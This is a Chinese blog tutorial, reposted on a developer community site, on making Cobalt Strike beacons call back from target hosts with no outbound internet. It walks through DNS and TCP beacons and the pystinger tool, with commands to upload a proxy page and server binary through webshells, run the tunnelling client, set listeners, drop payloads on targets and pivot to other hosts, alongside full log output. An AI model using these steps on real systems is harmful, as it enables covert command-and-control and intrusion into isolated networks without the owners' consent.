AI 助理
备案控制台
开发者社区 安全 文章 正文

干货|不出网上线CS的各种姿势（三）

2023-02-14 369
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 干货|不出网上线CS的各种姿势

三、cs上线

生成cs的stageless上线马，执行上线

stageless 马 dns有x64版本 , stager没有

上线之后是黑框，需要使用checkin命令让dns beacon强制回连teamserver

PS:需要多等一会

这样就可以正常交互了：

边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景：边缘机器各种协议均不出网，但是可以正向访问到。</font >

使用：

先让自己的攻击机上线

然后，如"上线方法四"一样，使用TCP Beacon生成一个stageless形式的木马，上传到目标机器，并运行。

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景：边缘机器各种协议均不出网，但是存在web服务，已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理：

Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了：

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
start D:/XXX/stinger_server.exe 192.168.3.11
  • 启动服务端

192.168.3.11可以改成0.0.0.0

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机：192.168.1.89

假设我们在拿下一台目标主机，但是无法连接外网。

使用 pystinger 工具进行 CS 上线，下载地址，通过 webshell 实现内网 SOCK4 代理，端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

把 stinger_client 上传到 teamserver 服务器，-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

CS 新建监听器，设置为目标机器的内网 IP，端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

生成木马，上传目标服务器并执行。可看到 CS 有新上线主机。

文章标签：
网络协议
安全
亿人安全
目录
相关文章
亿人安全
|
网络协议 Linux 网络安全
干货|不出网上线CS的各种姿势（二）
干货|不出网上线CS的各种姿势
亿人安全
607 0
小小杨树1
|
8月前
|
计算机视觉
我的自描外挂制作日志——FPS类游戏的自瞄【验证猜想】
我的自描外挂制作日志——FPS类游戏的自瞄【验证猜想】
小小杨树1
95 1
极客小俊
|
移动开发 前端开发 开发者
我确信你还没有完全搞明白它的含义! 熬夜整理了一万多字的line-height详细总结,还看不懂那我真的要跪了！
CSS中line-height属性的详细总结，你一定要看完！
极客小俊
117 0
我确信你还没有完全搞明白它的含义! 熬夜整理了一万多字的line-height详细总结,还看不懂那我真的要跪了！
二进制怪兽
|
编解码 图形学
[学习][笔记] qt5 从入门到入坟:＜11＞绘制设备
[学习][笔记] qt5 从入门到入坟:＜11＞绘制设备
二进制怪兽
62 0
Z2O安全攻防
|
网络协议 安全 Linux
不出网上线CS的各种姿势
不出网上线CS的各种姿势
Z2O安全攻防
1031 0
jfz54lbhngi2u
|
存储 缓存 网络协议
《逆袭进大厂》第八弹之计算机网络(中)33问33答|下期再更新PDF版本
笔记
jfz54lbhngi2u
54 0
亿人安全
|
网络协议 安全 测试技术
干货|不出网上线CS的各种姿势（一）
干货|不出网上线CS的各种姿势
亿人安全
486 0
wljslmz
|
数据中心 网络架构
1U、2U、标准19寸机架是什么意思？这篇文章讲的很明白！
如果您一直从事跟服务器硬件相关的工作，那么对“1U”、“2U”、“3U”等概念肯定不陌生。
wljslmz
1145 0
1U、2U、标准19寸机架是什么意思？这篇文章讲的很明白！
温柔的养猫人
|
Java
千字为你打开映射的大门 | 带你学《Java面向对象编程》之二十四
本节通过两个案例由浅入深地为读者展现了两个简单Java类之间实现相互映射关联的方法。
温柔的养猫人
2067 0
狼人2007
|
索引
一起谈.NET技术，Silverlight+WCF 新手实例 象棋 主界面-棋谱-回放-结局(四十)
查看本系列其他相关文章请点击：Silverlight+WCF 新手实例象棋专题索引 在线演示地址：Silverlight+WCF 新手实例 象棋 在线演示 在Silverlight+WCF 新手实例 象棋 主界面-棋谱-回放(三十九)中，我们实现了用户的棋谱回放，在文章的下面，我们曾留下了两...
狼人2007
950 0

热门文章

最新文章

  • 1
    ToC和ToB有啥区别
  • 2
    多中心容灾实践：如何实现真正的异地多活？
  • 3
    时间序列预测：CNN+LSTM+Attention模型实战
  • 4
    DSP_代码笔记（基于TMS320X281x）
  • 5
    Confluence 6 那些文件需要备份
  • 6
    区块链技术将占据全球金融系统核心地位
  • 7
    一个有味道的函数
  • 8
    ceph启动脚本
  • 9
    [CLR via C#]7. 常量和字段
  • 10
    JSP基础7
  • 1
    PsycoLLM：开源的中文心理大模型，免费 AI 心理医生，支持心理健康评估与多轮对话
    79
  • 2
    KAG：增强 LLM 的专业能力！蚂蚁集团推出专业领域知识增强框架，支持逻辑推理和多跳问答
    79
  • 3
    Gemini Coder：基于 Google Gemini API 的开源 Web 应用生成工具，支持实时编辑和预览
    51
  • 4
    AddressCLIP：一张照片就能准确定位！中科院联合阿里云推出街道级图像地理定位模型
    49
  • 5
    MiniPerplx：基于 Grok 2.0 的开源 AI 搜索引擎，支持网页、学术、视频搜索
    36
  • 6
    CreatiLayout：复旦与字节联合推出布局到图像生成技术，支持高质量图像生成与布局优化
    35
  • 7
    Cosmos：英伟达生成式世界基础模型平台，加速自动驾驶与机器人开发
    35
  • 8
    AIOpsLab：云服务自动化运维 AI，微软开源云服务 AI 框架，覆盖整个生命周期
    36
  • 9
    《docker基础篇：4.Docker镜像》包括是什么、分层的镜像、UnionFS（联合文件系统）、docker镜像的加载原理、为什么docker镜像要采用这种分层结构呢、docker镜像commit
    92
  • 10
    《鸿蒙安全沙箱机制——人工智能应用的安全护盾》
    23

    • 相关电子书

    更多
  • 钉钉小程序——为工作方式插上翅膀
  • 《长安十二时辰》
  • 低代码开发师（初级）实战教程
    • 下一篇
    DataWorks智能交互式数据开发与分析之旅